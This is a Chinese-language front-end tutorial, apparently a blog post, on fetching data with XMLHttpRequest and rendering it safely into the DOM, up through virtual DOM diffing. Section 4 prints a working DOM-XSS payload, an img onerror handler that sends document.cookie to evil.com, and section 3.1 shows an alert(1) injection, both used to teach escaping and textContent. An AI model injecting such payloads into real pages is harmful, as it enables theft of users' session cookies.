搜索框里输入"DOM XMLHttpRequest"的人,八成是遇到了同一个卡点:接口数据已经拿到了,responseText在console里也打出来了,可下一步——怎么把这一堆数据变成页面上的标签、列表、表格——突然就不知道该怎么下手了。
这不是技术断层,而是很多人把XMLHttpRequest当成了终点,忘了它其实只是起点。更要命的是,顺手用innerHTML把数据怼进页面,页面眼下看着没问题,过两天某个字段里藏了一段脚本或者一个不怀好意的<img onerror>,你的页面就变成了一个随时会响的雷。这个雷有个专门的名字,叫DOM型XSS,网上搜到的热词里它还排得挺靠前。
这篇内容适合两类人看:一类是刚接触前后端交互、用着用着发现"请求我会发了,但页面怎么更新"的同学;另一类是写过一阵子jQuery、听说过虚拟DOM和diff算法、但始终没把"请求数据"和"页面渲染"这两件事串成一条线的前端从业者。我会从XHR的状态机讲到DOM渲染的几种姿势,再讲到安全性,最后聊到框架为什么宁可造一层虚拟DOM也要替你把页面更新这件事管起来。按这个链条走一遍,你再回头看"DOM XMLHttpRequest"这几个字,应该会有完全不同的感觉。
1. 先搞清楚:XHR和DOM为什么总被绑在一起提
1.1 浏览器里两套独立但必须协作的API
先说一个很多人没意识到的点:XMLHttpRequest和DOM在浏览器内部其实是两套完全独立的API,一个管网络,一个管文档。XHR本身根本不知道页面上有什么标签,它只知道"我要去这个地址要数据,要到了就告诉你";DOM也完全不关心数据从哪来,它只负责"你要插入节点我就插,你要修改属性我就改"。
那为什么大家总是把这两个词一起搜?因为实际开发里它们永远成对出现。XHR拿到的数据是干巴巴的字符串或者JSON对象,用户看不懂;DOM要做的事情是把这些数据翻译成用户能看的界面。你不用DOM,XHR请求等于白做;你不用XHR,DOM大部分时候只是静态页面的摆设。所以"DOM XMLHttpRequest"本质上是"用XHR拿数据、再用DOM渲染页面"这整个工作流的缩写。
打个比方:XHR是快递员,DOM是室内设计师。快递员把包裹放到门口,跟你喊一声"到了";设计师要负责拆箱、决定沙发放哪、挂画挂多高。两件事谁也不能替代谁,但只有配合起来,房间才像个能住人的样子。
1.2 从名字里的"XML"聊到responseText和responseXML
初学的时候总会疑惑:XHR名字里带XML,是不是只能用XML数据?不是。这个名字是历史遗留产物——它诞生的时候XML还是数据传输的主流格式,后来JSON成了事实标准,但名字已经改不过来了。接口实践里,后端返回JSON、纯文本、甚至是二进制流都很常见,XHR都能处理。
跟"返回什么格式"直接相关的两个属性是responseText和responseXML,这两兄弟也经常出现在面试题里:
| 属性 | 数据类型 | 适用场景 |
|---|---|---|
responseText | 字符串 | 绝大多数情况,拿到后自己JSON.parse |
responseXML | Document(XML) | 老式XML数据源,现在很少遇到 |
如果你用xhr.responseType = 'json',浏览器会帮你自动解析JSON,访问xhr.response就能直接得到对象。这个设置比手动JSON.parse(xhr.responseText)省一步,但如果后端返回的不是合法JSON,response会是null,反而让人摸不着头脑。所以我的习惯是:信任自己的接口就设responseType = 'json',调用第三方接口就老老实实拿字符串自己解析,出错了至少能看到原始内容。
1.3 面试常问的readyState和status
聊XHR绕不开状态机。readyState从0变到4,代表的含义是:
- 0:请求未初始化,
open()还没调用 - 1:已建立连接,
open()已调用,send()还没发 - 2:请求已接收,
send()已调用,响应头已拿到 - 3:响应体下载中,
responseText已有部分内容 - 4:请求完成,全部数据可用
status则是HTTP状态码,200表示成功,404表示找不到资源,500表示服务端炸了。判断请求是否成功,标准写法是readyState === 4 && status === 200。这里有个细节值得注意:onerror只有网络层出错才会触发(比如断网、域名解析失败),HTTP 500这类服务端错误不会走onerror,它照样进onreadystatechange,只是status是500。所以错误处理必须同时看状态码,不能寄希望于onerror兜底。
2. 手写一套可复用的XHR封装:状态机、回调与错误处理
2.1 从零封装一个getJSON函数
原生XHR的写法麻烦在哪?每次都要new一个对象、调open、挂回调、send,重复代码太多,而且回调嵌套一多就开始地狱化。所以第一步是把这些脏活包进一个函数,日常开发直接用Promise。
function getJSON(url, options = {}) { return new Promise((resolve, reject) => { const xhr = new XMLHttpRequest() const method = options.method || 'GET' xhr.open(method, url, true) xhr.timeout = options.timeout || 10000 if (options.responseType) { xhr.responseType = options.responseType } xhr.onreadystatechange = function () { if (xhr.readyState !== 4) return if (xhr.status >= 200 && xhr.status < 300) { resolve(xhr.response || xhr.responseText) } else { reject(new Error(`HTTP ${xhr.status}: ${xhr.statusText}`)) } } xhr.onerror = () => reject(new Error('网络异常')) xhr.ontimeout = () => reject(new Error('请求超时')) xhr.send(options.body || null) }) }用起来就舒服多了:
getJSON('/api/users') .then(users => { renderUserList(document.getElementById('userList'), users) }) .catch(err => { console.error('加载用户失败', err) })注意两个细节:第一,open的第三个参数是async,我直接写死true,原因后面会说;第二,判断成功时我用xhr.response || xhr.responseText,是为了兼容设了responseType和没设两种情况,避免因为返回对象是null导致误判。
2.2 同步请求为什么不要用
老代码里偶尔能看到async: false的写法,也就是把open第三个参数改成false,让请求变成同步阻塞。运行时页面会彻底卡死,鼠标转圈,动画暂停,像死机一样。
原因在于浏览器里JavaScript和DOM渲染共享一条主线程。同步XHR会霸占这条线程直到请求结束,期间DOM无法渲染,用户交互全部排队。更过分的是,Chrome后来直接对主线程上的同步XHR打警告:Synchronous XMLHttpRequest on the main thread is deprecated。这是明令禁止的操作,后端接口响应慢一点,用户感受就是页面冻了好几秒。
我的看法是:任何用"同步"解决的问题,都可以用"先渲染loading态,再异步请求,最后局部更新"来替代。给用户看到的永远是一个有反馈的界面,而不是一个卡死的页面,这是做前端最基本体验素养。
2.3 踩过的坑:Content-Type设置和CORS预检
封装函数只解决了一半问题,另一半藏在请求头里。
一个特别常见的坑是POST提交时忘了设置Content-Type。后端按表单格式(application/x-www-form-urlencoded)解析参数时,你发的却是纯字符串,结果对方收到一堆空字段,排查半天发现是请求头没设置。正确做法是先设置请求头,再send:
xhr.setRequestHeader('Content-Type', 'application/json;charset=utf-8') xhr.send(JSON.stringify({ name: '张三', age: 20 }))如果是跨域请求,还有一个隐藏的地雷叫CORS预检。当你的请求不是"简单请求"(比如带自定义请求头、用PUT/DELETE方法),浏览器会先发一个OPTIONS请求试探服务器允不允许。很多新手发现:怎么接口报了两次请求?后端也一脸懵。排查办法是看Network面板里是不是先有一个OPTIONS,如果有,多半是预检通过后真正的请求才会发出去。预检跟DOM没直接关系,但它卡在"数据能不能到达"这一层,出了问题页面就只能渲染错误信息,所以也得放在这个环节一起讲明白。
3. 数据到手后的DOM更新:从暴力拼接走向结构化渲染
3.1 innerHTML是最快的路,也是最快的坑
数据拿到之后,最直觉的做法是拼HTML字符串直接塞进去:
const list = document.getElementById('list') list.innerHTML = data.map(item => ` <li> <a href="${item.url}">${item.title}</a> </li> `).join('')这种写法在原型页面上非常常见,因为确实快,几行代码就出效果。但它的坑是隐性的,会随着数据复杂度一起膨胀:
- 每次
innerHTML赋值,浏览器都会把字符串整个解析一遍再重建DOM,子节点原绑定的事件全部丢失。 - 数据里一旦混入用户输入的内容,比如一条评论写了
<img src=x onerror=alert(1)>,就直接变成DOM注入,这是XSS的经典入口。 - 对大列表反复整体重绘,滚动会肉眼可见地卡。
所以我的建议是:innerHTML只适合渲染自己完全可控的静态模板,凡是数据来源不可控,绝对别用。
3.2 createElement + appendChild的正规操作
换成DOM API操作,过程是啰嗦一点,但每个节点都在掌控之中。
function renderUserList(container, users) { const fragment = document.createDocumentFragment() users.forEach(user => { const li = document.createElement('li') const span = document.createElement('span') span.textContent = user.name const a = document.createElement('a') a.href = `/user/${user.id}` a.textContent = `查看主页` li.appendChild(span) li.appendChild(a) fragment.appendChild(li) }) container.appendChild(fragment) }这里用到了createDocumentFragment,它是一个游离在文档树之外的容器。分次把所有li先塞进fragment,一次性appendChild到页面,浏览器只会触发一次重排,性能比逐个append好不少。定量地说,一个小列表可能感觉不出来,但渲染几百上千条时,帧率的差别很明显。
还有个细节:给列表项绑定事件时,别在循环里给每个li都绑监听器,事件委托更优。
container.addEventListener('click', function (e) { const target = e.target.closest('li[data-id]') if (!target) return const id = target.dataset.id // 处理点击 })这个模式减少了大量监听器的内存占用,也天然兼容后插入的节点。
3.3 手动更新DOM的性能止损:简单节点池复用
每次数据变化都全量清空再重建,是手动DOM操作最容易犯的毛病。列表从100条变到101条,原本不需要把前100条都重新创建一遍。一个朴素的优化思路是复用已有节点,只对新增或删除的部分做最小改动。
以我自己的经历来说,早期的做法是维护一个"数据数组 → DOM节点"的映射,用id作为索引。新数据来了,先比较新旧数组,找出需要新增、移除、改动的元素,然后分别处理。本质上这就是一个极简版的diff算法。听起来很高端,实际写起来就是几个filter和forEach的事,但对于当时的项目来说足够有效,远比全量重绘稳定。这段经历后来帮了我一个大忙——因为理解了"为什么不能全部重建",我再去学习框架里的diff算法时,一下就明白它要解决的是什么问题。
4. 结合XHR数据渲染的DOM型XSS:安全红线
4.1 DOM型XSS是怎么来的
标题是DOM XMLHttpRequest,关键词里又明明白白写着"dom型xss",这个必须展开讲。先从一个真实场景说起:你从接口拿到一批文章列表,其中有个字段叫author,正常情况是"张三"、"李四"。突然某条数据的author变成了这样:
<img src=x onerror="document.body.appendChild(new Image()).src='http://evil.com/cookie?'+document.cookie">如果你用的是innerHTML渲染,这段HTML会被浏览器完整解析,onerror事件立刻触发,用户的Cookie就被悄悄发送到了第三方服务器。这个过程没有任何用户交互,页面看起来一切正常。这,就是DOM型XSS的典型形态。
DOM型XSS的核心特征是:攻击载荷不需要发到服务器,也不经过后端过滤,而是在前端代码里,由"不可信数据 + 危险DOM操作"这条链路直接执行。XHR请求回来的数据就是最典型的不可信数据,哪怕接口是你自己后端写的,只要数据里有用户产生的内容,就默认它是恶意的。
4.2 textContent与innerHTML的分界线
搞清楚XSS原理之后,安全策略就一句话:能用textContent,绝不碰innerHTML。
textContent把值当作纯文本处理,浏览器不会解析里面的HTML标签。之前那个<img onerror>,用textContent输出,用户看到的是一段字符,脚本不会执行。拿它渲染用户昵称、评论内容、文章标题这些"只需要作为文字展示"的场景,完全够用,而且从根源上堵住了注入。
那innerHTML是不是要彻底封杀?也不是。有一种情况确实绕不开:你要渲染的是富文本,后端返回了带格式的HTML。这时候两种思路:一是让后端返回结构化数据(比如JSON里的节点树),前端再用DOM API逐个解析;二是对返回的HTML做白名单过滤,只保留b、i、a、p这些安全标签,剩下的全部剥离。第一种思路更安全,也是现代编辑器普遍采用的方案;第二种思路属于妥协,必须有完善的过滤库兜底。
4.3 一个够用的escapeHtml函数
如果你的项目暂时没有框架、没有过滤库,至少要有一个够用的转义函数,在拼HTML之前把动态值都过一遍:
function escapeHtml(str) { const div = document.createElement('div') div.textContent = str return div.innerHTML }利用浏览器的textContent天然转义特性,把威胁字符串变成安全的实体编码。渲染时这样用:
list.innerHTML = data.map(item => ` <li> <span>${escapeHtml(item.author)}</span> <p>${escapeHtml(item.content)}</p> </li> `).join('')还是用了innerHTML,但动态部分全部转义,注入路径就断了。这个函数虽然简单,但我在实际项目里见过很多次因为"图省事不转义"导致的安全事故。还是那句话:不信任任何来源的数据,是前端渲染的底层纪律。
5. 从XHR到jQuery时代的DOM操作惯性
5.1 $.ajax与链式DOM操作为什么曾经是标配
新一代前端可能不太理解,为什么那么多人对jQuery的DOM操作印象这么深。因为在那个浏览器混战的年代,jQuery把两件麻烦事全摆平了:一是用$.ajax封装了各家浏览器的XHR差异,success回调拿到的数据干净统一;二是用一套选择器和链式调用,把DOM操作从"先取元素,再绑定事件,再改样式"的冗长流程简化成一句话:
$.ajax({ url: '/api/users', method: 'GET', dataType: 'json', success: function (users) { $('#userList').empty() $.each(users, function (i, user) { $('#userList').append( $('<li></li>').text(user.name) ) }) } })这套写法的好处是心智负担低,$('#userList')拿到的永远是一个jQuery对象,点方法就能操作。但它也埋下一个伏笔:所有状态都散落在$('#userList')这个"地方"里,数据变了,你要记得去更新那个地方,而且是手动更新。
5.2 jquery的DOM操作惯性给现代前端留下的包袱
jQuery时代最深的坑,是"操作DOM"和"数据状态"之间没有任何约束。页面有三个地方都显示用户昵称——顶部导航、评论区、侧边栏。某个操作改了用户昵称,你得记得找三个选择器挨个更新。少更新一个,页面就出现数据不一致,而且这种问题很难排查,因为代码没有报错,只是显示不对。
这个痛点是虚拟DOM出现的大背景。框架的思路是:别自己管DOM了,你只管声明数据长什么样,剩下的事情框架帮你干。你只需要把用户昵称这个状态改掉,框架自动算出哪里需要更新,然后只改那一个节点。手动更新时代"三个地方要记得同步"的负担,被彻底转移走了。
6. 虚拟DOM与diff算法:换一种方式回答"DOM怎么更新"
6.1 为什么框架选择放弃手动DOM操作
虚拟DOM不是性能银弹,它解决的根本问题是"状态到视图的同步自动化"。框架维护一份轻量的对象树来描述页面结构,数据变化时生成一棵新的对象树,跟旧树做对比,找出差异,最后只把差异部分落到真实DOM上。
这里说句公道话:虚拟DOM的对比过程本身是有开销的,对于"一次改动但数据量巨大"的极端场景,手动精准操作DOM可能更快。但它换来的是开发效率和一致性。大多数业务场景下,你不需要知道到底是第几个li的文本变了,框架会在diff阶段帮你算好。这也是面试里总在问"虚拟dom和diff算法"的原因——它其实是考察你对"框架替你做了什么"有没有真实的理解,而不是背几个名词。
diff的过程可以简化成三句话:同层比较,不做跨层移动的复杂对比;列表通过key来识别节点的身份;只更新变化的那部分节点。所以你在框架里写列表时,key不能随便用数组下标——如果列表顺序变了,key对不上身份,diff会把错误的节点当成同一个节点,更新逻辑就会串位。
6.2 diff算法核心:同层比较、key的身份识别
稍微展开说一下key这个点,因为它跟XHR场景结合得非常紧。假设你从接口拉回一个商品列表,渲染时用了index作为key。第一轮数据是[苹果, 香蕉],第二轮是[西瓜, 苹果, 香蕉]。框架一看key=0的节点还是那个节点,就把它的文本从"苹果"改成"西瓜";key=1的节点文本从"香蕉"改成"苹果";最后新增一个key=2的"香蕉"。
结果是功能正常,但原本只应该"插入一个新节点"的操作,变成了"改两个节点的文本+新增一个节点"。如果列表里还有图片、输入框、状态,问题就大了:输入框的内容会跟着错位,图片会整批重新加载。用真实业务id或者唯一标识当key,diff才能准确找到"谁是新人、谁没变",把更新成本压到最低。
6.3 把XHR、DOM、虚拟DOM串成一条线的面试回答
面试时被问到相关概念,一个很加分的答法是把整条链路讲清楚。你可以这么说:我用XHR从接口获取数据,拿到数据后要渲染到DOM。最原始的做法是手动拼接字符串用innerHTML,但这样有XSS风险和性能问题,所以用createElement、textContent、DocumentFragment这类API来更新。手动更新的问题是状态和视图容易不同步,jQuery时代极限就是"一个数据变化手动更新多个地方"。现在使用虚拟DOM,就是把视图更新的过程变成一个"数据变化→生成新虚拟树→diff→更新真实DOM"的自动化流程,用key优化列表diff的效率。整个链条这样串起来,面试官一听就知道你不是背出来的,是真的写过、真的踩过坑。
7. 写在最后的一点实操体会
文章写到这里,主线内容讲完了,按惯例最后说一点我个人在项目里的真实感受。搜索"DOM XMLHttpRequest"这个关键词的同学,多半是想马上解决手头的问题:把请求到的数据显示到页面上。如果你只是想快速跑通,innerHTML+textContent转义已经够用;但如果你是把这个工作流当成长期吃饭的看家本事,建议直接跳到"数据驱动视图"的思路,哪怕不引入框架,也要强制自己把"数据"和"视图"分开管理,数据变了再去更新对应节点,而不是每次全量重绘。
最后再分享一个我用了很多年的小习惯:写任何和DOM渲染打交道的代码之前,先问自己一句"这段数据我能完全信任吗"。能,随便怎么拼;不能,一律走textContent或者转义。这个习惯把我从很多次线上事故的边缘拉了回来,希望也能帮到你。